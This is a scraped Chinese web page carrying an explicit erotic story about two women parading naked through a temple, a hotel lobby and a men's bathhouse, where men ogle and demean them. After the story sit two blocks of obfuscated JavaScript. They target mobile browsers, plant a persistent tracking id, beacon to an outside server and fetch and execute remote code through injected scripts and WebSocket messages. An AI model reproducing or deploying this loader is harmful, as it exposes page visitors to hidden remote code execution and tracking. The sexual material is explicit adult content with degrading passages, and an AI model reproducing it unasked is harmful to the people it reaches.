字型地张开四肢靠在蒲团上,看着我,咬着嘴唇笑得花枝乱颤,胸前两个肥硕的大肉球也随着她的裸体在哼笑的频率中被震得不停抖动。

见琼姐已完全放开了心情,我也高兴了,就这么赤身裸体地站起身来,转身牵着琼姐伸过来的手把她也拉了起来。

由于刚才从外面进来时我们赤裸裸的身上还是湿漉漉的,所以此时被我们光着屁股坐过的蒲团上也留下了两个屁股形状的水印,我和琼姐看见之后都忍不住抿嘴笑了。

我们全身一丝不挂地往功德箱里添了香油钱之后,正准备到别处再走走,这时眼前又出现了一个和尚的身影,不过这个和尚年纪已经很大了,满脸皱纹,慈眉善目的,一举一动都非常心平气和,完全不像刚才那个青年和尚那么性急和浮躁。

只见老和尚缓步走到一丝不挂地故意挺着一对大乳房的我和琼姐跟前,双手合十,略一欠身:“阿弥陀佛,两位女施主今日莅临敝寺,老衲幸甚。”

我和琼姐相视一笑,连忙赤裸着全身双手合十还了一礼,学着古装片的对白:“大师言重啦!”

老和尚对我说:“女施主年纪轻轻却颇具慧根、聪敏过人,实在可喜。”

我得意了:“嘻嘻,大师过奖啦!”

老和尚接着说:“老衲斗胆想充当一回向导,带两位女施主参观敝寺,然恐打扰两位的雅兴,未知施主愿否?”

哦,看来这老和尚是担心我跟琼姐继续赤身裸体地在寺院里瞎逛会骚扰到其他信众了。

我故作大喜过望状,张开手臂裸身一跳:“那太好了!有大师带路,我们当然是求之不得啦!”

故意把完全暴露在老和尚眼前的大乳房震得不停地颤抖。

于是,我和琼姐便继续全裸着跟在老和尚后面,在他的带领下继续参观这座颇有历史的寺院。

这座在外人看来已经近乎荒废的寺院虽然破旧,但这里的和尚打理得非常好,到处都一尘不染的,使得这座寺院破而不败、荒而不废,足见这些和尚的诚心。

这个老和尚果然沉得住气,整个过程中对我和琼姐一览无遗的胴体居然视而不见,淡然得就像跟在他身后的根本不是两个一丝不挂的裸体女人似的。

裸逛了好一会儿,发现这座寺院的游客实在少得可怜,而老和尚也专门领着我们往游客根本不会感兴趣的地方走,很多地方都已经转过很多回了,这样可没劲啊!看看天空,雨基本上停了,估计时间已过了正午。

于是我对老和尚说:“大师,时间不早了,我们也该回去了。”

老和尚似乎正中下怀,指引道:“既然如此,那女施主请往这边来。”

说着很快就把我们领到了寺院的门口。

在寺院门前卖香的那些村妇见今天早上的那两个裸体女人此时居然跟老和尚一起走出寺院,还一路有说有笑的,谈得很投机,更是吃惊异常。

我看也不看她们一眼,对老和尚说:“大师请留步吧,不必再送了。嘻嘻,今天真感谢您给我们讲了那么多佛教的教义和智慧。大师,您不是说我有慧根吗?以后我们还会常来请教的。”

老和尚说:“善哉,女施主,只要心中有佛,何处都是你的修行之所,又何必执着拘泥于佛门清净地呢?”

我笑了:“嘻嘻,大师,这么说,就是不欢迎我们再来了?”

老和尚连忙双手合十:“阿弥陀佛,老衲实非此意,女施主切勿误会。”

我用手搓了搓自己丰满的乳房:“呵呵,那就好。大师,我们下次再来向你请教。嘻嘻!”

然后全身赤裸裸地学着古人一抱拳:“告辞!”

说完转身拉着琼姐就走,这时我才发现身上还是一丝不挂的琼姐正捂着嘴在偷笑。

而那村妇还愣在这对她来说绝对不可思议的画面跟前,不知要多久才能回过神来呢,呵呵!虽说雨已经停了,但天上偶尔还会有雨粉飘落,而且只要风一吹过,山路两旁湿漉漉的枝叶还会簌簌地飘洒下阵阵水滴,我跟琼姐刚刚才吹干的胴体又被淋得没一寸肌肤是干爽的,头发也再次湿了个透,就连小妹妹周围的毛丛也被从上身流下来的雨水粘成一撮。

由于已经不下雨了,山路上也陆陆续续有些行人——有往山上爬的,也有正在下山的。

我跟琼姐提议:“琼姐,现在大路上的人越来越多了,我们没穿衣呢,再这样下去很可能会被抓的,还是走小路吧!”

琼姐瞪了我一眼,笑着埋怨道:“都怪你,大清早的硬要把琼姐赤身露体地拉出来。你看,这下可好,琼姐的身体都被陌生人看光光了,拜你所赐呢!”

但她也同意我的说法,于是,身上根本不挂寸缕的我们便离开了大路钻进树木丛生的小道,依旧双双一丝不挂地赤脚走在湿滑泥泞的山路上,一脚深一脚浅,有时粘煳煳,有时又软绵绵的,这些羊肠小径比大路更难走,裸身走在下山小道上的我们有几次几乎滑倒,只好相互搀扶着对方的裸体、一步一步小心翼翼地继续前行。

大路上的行人虽然不多,但都是穿戴整齐、撑伞而行的,但在离大路不远处的小径上,我和琼姐身上什么也没有——除了湿漉漉的头发,白皙丰满的胴体挂满了晶莹的水珠以外便没有任何身外之物了(当然,琼姐手腕上还缠着她带出来的钱和房间钥匙的),不仅没带伞,而且身上一丝不挂没有任何衣物遮挡,就连鞋子也没套一双在脚上,就这样在偶尔出现三五成群的游客目光所能及之处大方自然地光着屁股、暴露着乳房、展示着自己成熟诱人的肉体。

那些偶尔发现了我们全裸着在小径上行走的行人虽然有点错愕,并且还是不时对我们赤裸裸的胴体指指点点、低声地议论纷纷,但也没对我们说什么——呵呵,其中正往山下走的游人估计有几个在山顶的寺院里就已经大饱了眼福了。

不过被他们看光光又有什么关系?大家都是来旅游的,有谁会认识我们呢,又有谁会知道在这里全裸着参观寺院、一丝不挂地在山上游玩的两个容颜俏丽、身材火辣辣的女子是谁家的闺女、谁家的媳妇呢?我依旧挽着琼姐的手臂,跟琼姐相互搀扶着,两具光熘熘的胴体肩并肩相互依偎着继续往山下走去。

我偷偷地对比了一下,琼姐的乳房巨大丰硕,显得霸气无比,可是质感有点下垂;而我的虽然体积上略逊于琼姐,但胜在胸型够美,丰润挺拔且富有弹性。

呵呵!总的来说还是我的乳房比琼姐的正点。

嘻嘻!快回到招待所了,远远地看到招待所居然门庭若市,门口还停着一辆旅游大巴,游客出出入入的好不热闹,琼姐拉了拉我的手问:“烟女,我们这样怎么回去啊?”

我也没了主意,就奇怪嘛!又不是旅游旺季,昨天都冷冷清清的,今天怎么就来了那么多人了?只好说:“没办法啦,琼姐,我们看看有哪些没人注意的地方偷偷熘进去吧。”

琼姐“啊”

了一声,不再说话,任由我拉着她大家一起赤身裸体地往招待所走去——估计琼姐也很清楚别无他法了。

我们赤裸着全身硬着头皮走过去,这才看到那辆旅游大巴前面的挡风玻璃上那“单位包车”

的字样。

那一个个带着黄色帽子的旅行团员都是上了年纪的叔叔和阿姨,估计是哪个单位的退休职工吧?这时他们刚从大巴上走下来,在导游的指引下走进招待所。

我拉着琼姐的手,一起全身光熘熘地挨在大巴背后,而离我们只有几米之遥的就是一群正兴致勃勃地在谈笑的中老年团友,这时在我的裸体旁边同样一丝不挂的琼姐已经紧张得一直在深唿吸了,丰满圆润的乳房随着她的深唿吸在胸前一起一落的。

凑准一个机会,我拉着琼姐的手,全裸着身体一下子闪进了大门旁边的侧门里——在一大群游客面前光着身子跑过,我们的这一举动其实好很冒险,幸好我们动作够快,而那些老眼昏花的退休职工也无比兴奋地只顾彼此在聊天,导游也只顾着料理团友们入住招待所的事宜,没有人注意到我们的裸体。

一进了侧门才发现原来这里就是服务台后面,此时在服务台值班的两个服务生正忙着给刚来的旅游团办理入住手续,并没有发现自己脚边正蹲着两个全身赤条条的美女。

我向琼姐打了个手势,赤裸着全身轻轻地从值班服务员的脚边爬了过去,全身光熘熘的琼姐已经完全没了主意,只好也四脚着地跟着爬了。

也许因为怕我丢下她不管吧,琼姐趴在我光熘熘的屁股后面跟得很紧,以至于我的屁股都能感觉到她的气息。

我虽然不喜欢穿衣服,但从来都不认为自己是一个淫荡的婊子,现在要我这么四脚着地地趴在地上爬,我心里真的很不是滋味。

唉,我烟烟大美人虽然不是什么国际名模,但好歹上过封面拍过广告在业界也小有名气呀,现在居然要赤身裸体地像条母狗一样在地上爬着走,真是……想到这里,我的小妹妹一湿,一股电击般的快感瞬间莫名其妙地流遍自己赤裸裸的全身,不知是紧张、兴奋还是羞耻。

这时我们两个赤身裸体的女人已经爬出了服务台,依旧没有人发现,谢天谢地!还有十米不到的距离,只要爬到楼梯口我跟琼姐就可以飞也似的逃上去,没穿衣服也不怕了!还有大概八米、七米、六米、五米……一丝不挂地正爬着,不知怎么的,整个原本嘈杂喧闹的大堂忽然静了下来,我扭头一看,只见整个大堂里所有人(包括服务生和游客)的目光都聚焦在我跟琼姐一览无余的裸体上,已经把全身一丝不挂的我们由头到脚看了个遍。

而此时我们都还赤裸着全身、像条母狗一样趴在地上把光熘熘的屁股撅起来对着他们呢,倒垂在身下的乳房因为身体忽然停住而还在晃荡着,一时间还没来得及停下来。

唉,都被人发现了还躲什么呢?身上不挂寸缕的我索性大大方方地站起来,很不好意思地笑了笑,琼姐也只好光着身子跟着从地上爬了起来。

这时服务员走过来跟我们说:“小姐,有什么需帮忙吗?”

琼姐又害羞了,扭扭捏捏地躲在我身后,双手罩住自己的乳头。

我用手把挂在面前的一缕还湿漉漉的头发拨到耳后,说;“没有,谢谢。”

服务生似乎从没遇到过这种情况,不知该如何应对:“那——你们为什么——”

“不穿衣服?呵呵!”

我接过话头:“嗯——因为我们刚才不小心摔到泥潭里,把衣服全弄脏了,所以索性都脱去,就这么回来啦,哈哈!”

琼姐也笑了,从我身后探出全裸的丰腴肉体:“对呀,就是这样嘛!”

“是吗?”

服务生半信半疑(其实是根本不信):“那,需要给你们拿件衣服穿吗?”

我摆摆手说:“不用了,我们现在就回房间,谢谢啦。”

说完拉着琼姐就往楼上走。

给大堂里的人留下的就只有两个裸女一步一步走上楼梯的背影——赤裸裸的背、光熘熘的屁股和匀称紧致的美腿,还有走到楼梯转角处时在他们眼前勾勒出来那乳房侧面丰润的曲线。

我跟琼姐回到房间后,彼此赤裸相对,你看看我,我看看你,忍不住放声大笑,然后我提议一起光着身子走进浴室洗澡。

经过这一次全裸出游,我跟琼姐的感情似乎又有了进一步的升华,在浴室里相互为对方抹沐浴露、清洗身体、按摩,不分彼此。

边淋浴边谈论起刚才的全裸行程,我们兴奋的心情都还没平伏、还意犹未尽。

浴后,我跟琼姐又相互为对方擦干身体,涂上润肤霜,这才想起我们连午饭都没吃呢。

因为已经不想再出去了,我们便从行李中找出点干粮,依旧赤裸着全身坐在房间里用餐,继续很自然很大方地在对方面前彻彻底底地暴露着自己身体的每一个部位。

吃过干粮后当然就是紧拥着对方的胴体双双裸睡啦,我跟琼姐都有午睡的习惯的,而且走了一整个上午,累都累死了,吃饱之后最幸福的就是能够一丝不挂、美美地睡上一觉。

虽说这里环境优美民风淳朴,可是我跟琼姐并没有正正经经地充当过一回观光旅客,一连几天都是要么光着身子偷偷摸摸、鬼鬼祟祟地出去探险,要么留在招待所的客房里裸睡,而且生活起居极无规律,都是裸睡睡醒了就起床、饿了就光着身子吃点干粮、无聊了就这么一丝不挂地熘出去玩,以至昼夜黑白几乎全颠倒了。

那晚睡得特别不踏实,整个晚上都听到阵阵喧嚣的吵闹声从楼下大堂里传上来。

过了很久才渐渐平息下来,回复了以往深夜里应有的甯静。

蜷缩在被窝里全身光熘熘的我抱着琼姐不着寸缕的胴体懵然醒来,天已全黑了,也不知是几点钟,只觉得肚子已经饿得“咕咕”

叫了。

我放开琼姐的裸体离开了她赤裸裸的怀抱,从被窝中赤身裸体地钻出来想找点东西吃。

可是翻遍了两个行李箱也找不到一丁点能吃的东西。

唉,不知不觉带来的干粮全都吃光了。

我光着屁股瘫坐在床上,很泄气。

这时琼姐也醒了,在被窝里掀起被子全裸着坐起来问我:“烟女,怎么了?”

我叹了口气:“琼姐,我们带来的干粮全都吃光了。”

还裸身坐在被窝里的琼姐把被子抱在胸前:“呵呵,又饿啦?”

“嗯。”

“那我们出去吃点东西好了。”

全身赤裸地坐在床沿上的我更是无精打采:“唉,琼姐你忘啦?我们现在都已经没有可替换的干净衣服了。”

全裸的琼姐此时终于赤条条地从被窝里钻出来翻看了一下我们的行李。

果然,全都是穿过的脏衣服。

当初做计划时,我们本来打算第一天来这里游玩、第二天就走的,所以只带了两套替换的衣服,可是后来流连忘返,临时决定在这里多呆几天,却忘了我们根本没带够替换的衣服。

琼姐说:“那我们先把衣服洗了晾干,等天亮了再到外面的餐馆吃点‘农家菜吧’,呵呵!”

确实,这里打着什么“田园风味”、什么“农家菜”

招牌的小餐馆比比皆是。

我们便光着身子把穿过的脏衣服抱在胸前走进了浴室,可是一拧开水龙头才发现,居然断水了!全身赤裸裸的琼姐皱着眉头自言自语道:“没水了?哼,怎么搞的?”

哦,看来刚才大堂里吵得几乎翻了天就是因为客房里断水所致的了。

于是我们也打电话到服务台去投诉,对方一个劲地道歉,并说招待所已经开放了员工的公用澡堂分时段供顾客使用:晚上八点之前供男顾客洗澡、八点到十点轮到女顾客、十点到十二点是招待所女员工使用的时间、而凌晨十二点之后就只供男员工洗澡了。

我一看墙上的挂钟,都将近凌晨三点了,估计男员工们都早已洗完澡回去休息了吧?我跟琼姐便把所有要洗的衣物都放到招待所提供的脸盆里,就这么光熘熘地端着脸盆走出客房往员工的公用澡堂走去。

还没转到澡堂的入口已经听到里面“哗哗”

的水声,全身赤裸地端着脸盆的琼姐立刻停住了脚步:“烟女,澡堂还有人呢!我们还进不进去?”

我挽着琼姐白皙的手臂轻轻一拉:“没事的,来吧!”

澡堂里面很昏暗,只有几盏几十瓦的电灯发出微弱的橘色灯光,里面大概有十几个人站在浴头下面洗澡吧,一个个打着赤膊,清一色的男人。

有趣的是,这些男人洗澡时居然也穿着裤衩,怪保守的呢。

呵呵,你们大家都是男人,用不着这样遮遮掩掩的吧?见到他们这么保守,我更加放心了,故意咳嗽两下以引起他们的注意:“咳咳!不好意思,请问我们可以进来吗?”

那些男人原本只顾着自个儿洗澡,根本没注意澡堂门口有人看着他们。

忽然听到女子的咳嗽声都吓了一大跳,当纷纷回过头来看到站在澡堂门口的是两个一丝不挂的女人时,更是一个个吃惊得张大了嘴都忘了合上,呵呵,就连眼珠都瞪得凸出来了。

那些男人面面相觑,一时不知如何是好。

过了一会儿终于有人咽了一下口水之后开腔了:“可以呀,请进!”

我便一手把装着脏衣服的脸盆挽在腰际,一手拉着琼姐,一起在十几个男人的目光下全身光熘熘地走了进去。

那些光着膀子浑身湿漉漉的汉子见我们两个全裸的女人真的就这么各端着一盆衣服全身一丝不挂地并肩走进去,都纷纷让开一条道给我们经过。

其中有一位五十多岁的伯伯望着琼姐笑眯眯地问道:“靓姨,怎么这么晚才来洗澡啊?现在已经是男员工专用的时间了。”

琼姐都不知道该如何回应:“哦,这……不是,我们不是……”

“呵呵!”

我接过话头说:“我们不是来洗澡,只是想洗一下这些替换的衣服而已。呵呵,你看,我们都没衣服穿了。”

围在身边的那一圈男人又不由得上下打量了一下我和琼姐一览无遗的裸体。

另一个男人说:“洗衣服啊?那边有公用洗衣机,只要两块钱就可以了。”

身上光熘熘的琼姐笑了:“你看我们现在还有什么地方可以藏钱啊?”

又一个跟琼姐年纪相仿的男人马上说:“我有我有!来,靓姨拿去吧!”

说着已从兜里掏出了两枚硬币。

当时身上根本不挂寸缕的琼姐跟他对视着抿嘴一笑,从他手里拿过那两枚硬币便跟我一起全身赤裸裸地端着衣服向洗衣机走去,而那个男人还愣在那里呢,眼睛光盯着我们全裸的美背、隆臀和长腿看得出神。

打开洗衣机滚筒的门,把两盆衣服一股脑儿塞了进去之后把门关上,再投两枚硬币并按下按键,这滚筒洗衣机便开始工作了。

而在这整个过程中,那些原本正在洗澡的男人已经急急忙忙擦干身子、换上了一身干净的衣服,坐在那里的长凳上边聊天边看着我和琼姐一览无遗的丰满裸体,眼睛一眨也不眨。

而有几个年纪较小的男生则一见我们全身赤裸裸地走进来便马上手忙脚乱地冲掉身上的肥皂沫、穿上衣服低着头匆匆离开了,呵呵,估计是“青头仔”

吧?这时那些男人又向这边叫了:“靓姨、靓女,那洗衣机可要等上好一段时间才能把衣服洗好呢,过来坐一下吧!”

琼姐应了一声便把空盆子摆到一边,身上不挂寸缕的她居然就这么大大方方地边走过去边彻彻底底地展示着自己的裸体,那些眼睛发光的男人见了当然立马腾出一个空位来啦!于是全身光熘熘的琼姐边在一群男人中间坐了下来。

真是美死这帮色男人了!不过估计琼姐也乐得在一大群男人的簇拥之下彻底暴露着自己珠圆玉润的胴体,尤其是如此近距离地在他们眼皮底下无遮无掩地把自己一对特别显眼的豪乳展现出来的这种莫名的快感确实挺让人享受的,我也深有同感呢。

而同样是全身一丝不挂的我却没有跟着琼姐走过去那些色男人那里,而是走到浴头下面拧开水龙头享受淋浴——反正房间里也停水了,既然来到公用澡堂为什么不顺便洗个澡呢?我在这里光着身子淋浴,而在那边当赤身裸体的琼姐光着屁股一坐到那堆男人中间,他们便纷纷靠过来你一言我一语地抢着逗琼姐说话,一个个问这问那的,不时又故作幽默地说一些无聊透顶的烂笑话来惹琼姐发笑。

其中有一个四十岁出头、叫“福哥”

的男人最为健谈了,每说一句俏皮话都逗得全身赤裸的琼姐笑得花枝乱颤,就连琼姐胸前那对白嫩肥厚的大乳房也似乎被他的段子感染着一起在琼姐娇骚的笑声中抖动得欢快异常。

而在一众同样对琼姐玲珑浮突的肉体虎视眈眈的男人当中,能够脱颖而出以自己了得的口才博得这位裸体佳人娇笑连连,福哥更是一直冲着一丝不挂地被围在男人堆里的琼姐嬉皮笑脸的,好不得意!福哥长得并不帅,身材属于中等偏矮,天性很乐观,给人一种很可靠很有亲和力的感觉,真没想到这么个其貌不扬的男人居然那么会耍嘴皮讨女人欢心。

忽然有一个男人发觉自己只垂涎于琼姐暴露无遗的诱人胴体而冷落了我这独自在一旁洗澡的另一个裸女,便问了一句:“你们是母女吗?”

我和琼姐相视一笑,一起哼笑着答道:“是啊!”

这时淋浴已经淋了个够的我赤身裸体地走过去,笑着把跟我一样全身上下暴露无遗的琼姐从那堆男人的包围圈里拉了出来:“妈咪,我来给你搓澡好吗?”

琼姐马上心领神会地跟我一唱一和:“呵呵,乖!”

于是我便牵着琼姐的手,双双一丝不挂地走到浴头下面。

在当头淋下来的自来水不断冲刷之下,我仔细地给琼姐按摩、清洗身体,颈项、肩头、手臂、乳房、小腹、私处、后背、屁股、大腿、小腿和足部,每一个部位都给琼姐洗得干干净净,虽然用的只是澡堂里提供的劣质香皂,但全裸着胴体享受我这同样赤身露体的“烟烟大美人”

独家搓澡服务的琼姐还是舒服得忍不住闭上眼睛轻声地哼出了阵阵无比销魂的呻吟。

我全身光熘熘地站在琼姐的裸体后面,边给她揉着肩膀边笑着撒娇般问她:“妈咪,舒服吗?”

琼姐依旧旁若无人地闭着眼睛,连说话的声音也显得懒洋洋的:“嗯,乖女,妈妈好舒服呢!呵,还是生女儿好,要生了个小子,哪能有这般享受啊?”

此时的琼姐甚至似乎连自己丰腴肥美的肉体就在十几个男人眼前暴露无遗都懒得再有丝毫顾忌了呢!我笑了:“妈,我给你按摩一下胸部好不好?女人的乳房要经常按摩才不至于下垂呢。”

说着便从全裸的琼姐身后把双手伸到前面一把抓住琼姐那对饱满硕大的乳房,轻轻地搓揉着。

琼姐并没反对,反而把自己全裸的肉体最大限度地放松了下来,闭着眼睛放心地把自己的乳房交给我,任由我摸个够。

琼姐的乳房好大,我当然无法一手完全掌握了(恐怕连强叔那样的七尺男儿也没这能耐),所以只能一点一点地来、小心翼翼地捧在掌心把玩着。

在把琼姐胸前那两团柔软而不失弹性的乳房揉捏成各种不同的形状时,那种感觉就像小时候捏橡皮泥一样,想怎么捏就怎么捏、想捏成怎样就捏成怎样。

呵!真好玩,手感也一流呢——乳房的质感绝不是橡皮泥可以比拟的。

更何况现在我是赤裸着全身在众目睽睽之下给同样身无寸缕的琼姐做胸部按摩呢。

呵呵,当着一大群男人的面把琼姐那对白嫩嫩、肉颠颠、圆鼓鼓的大乳房任意捏造得奇形怪状,还真有点“引人犯罪”

的意味。

我们两个裸女在这里洗澡洗得旁若无人,那边那些男人也肆无忌惮地看得目不转睛:“哎,你相信她们真的是母女吗?”

“一个‘捞妹’,一个听口音就知道是珠三角这边的人,有可能是母女吗?除非那个大奶货被一个北方的‘有钱佬’包起后怀上了这么个私生女吧。”

“呵呵,果真是如此也说不定,你看那婆娘真的好风骚!”

“废话!你见过有哪个大奶货不风骚啊?不过我更喜欢那个‘捞妹’,清纯甜美之余又骚味十足的,奶子又大又坚挺!还有那对长腿,啧啧!真是……”

“年轻是没用的,结了婚而且人到中年的成熟妇女才有风韵够味道,那个‘捞妹’的小蛮腰虽然好看,但我倒喜欢像那‘师奶’那种类型的,女人的身体要有点肉摸起来手感才舒服嘛!”……虽然他们只是压低声音私下里交谈,但即使在“哗哗”

不断的水声中每一句话我们都听得清清楚楚。

听着十几个色男人在那对我们的身材评头品足,还在花洒之下全身赤裸的我跟琼姐两人对望了一眼,忍不住一起“哼哼哼”

地笑了起来,就连我们自己也说不清到底是兴奋还是无奈。

给琼姐冲洗干净身上的泡沫之后,我们的衣服也早已洗好了。

故作娇骚而又略带挑逗意味地跟那群早已大饱眼福的男人道别之后,我和琼姐便分别端起自己的那盆衣服、依旧赤裸着全身返回客房。

当我们把盆子端在赤条条的腰际、扭着光熘熘的屁股走出澡堂时,还隐约听到他们低声地在议论纷纷:“我靠!大城市里的女人真不知羞耻,在男人面前袒胸露背也不当一回事!”

“就是,脸皮简直比她们自己那两坨屁股肉还厚!”

“所以我就说嘛!老杨,千万别让你女儿到大城市去读书啊!”

“对呀老杨,书读得好又怎样?迟早都要嫁人的。”

“嗯,这就是了,女孩子家读什么书啊?去到大城市被那些骚女人带坏了就更麻烦。”

“哈哈!等到读完书以后如果她就这么光着屁股、抖着两个大奶子回来找你,你都不知道还认不认这个女儿好呢!”

“哈哈哈……”

切!真是占了便宜还卖乖,刚才看我们洗澡看得那么欢怎么就不见你们如此一本正经的呢?一群伪君子!只有福哥一句话也没说,光微笑着听着他们在那高谈阔论并目送我们赤裸裸的背影离开——虽然只在这澡堂里相处了不久,但我已经看出福哥并不是那种愿意轻易得罪人的家伙。


上一篇:和女友两个死党玩3P

下一篇:女友小露


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};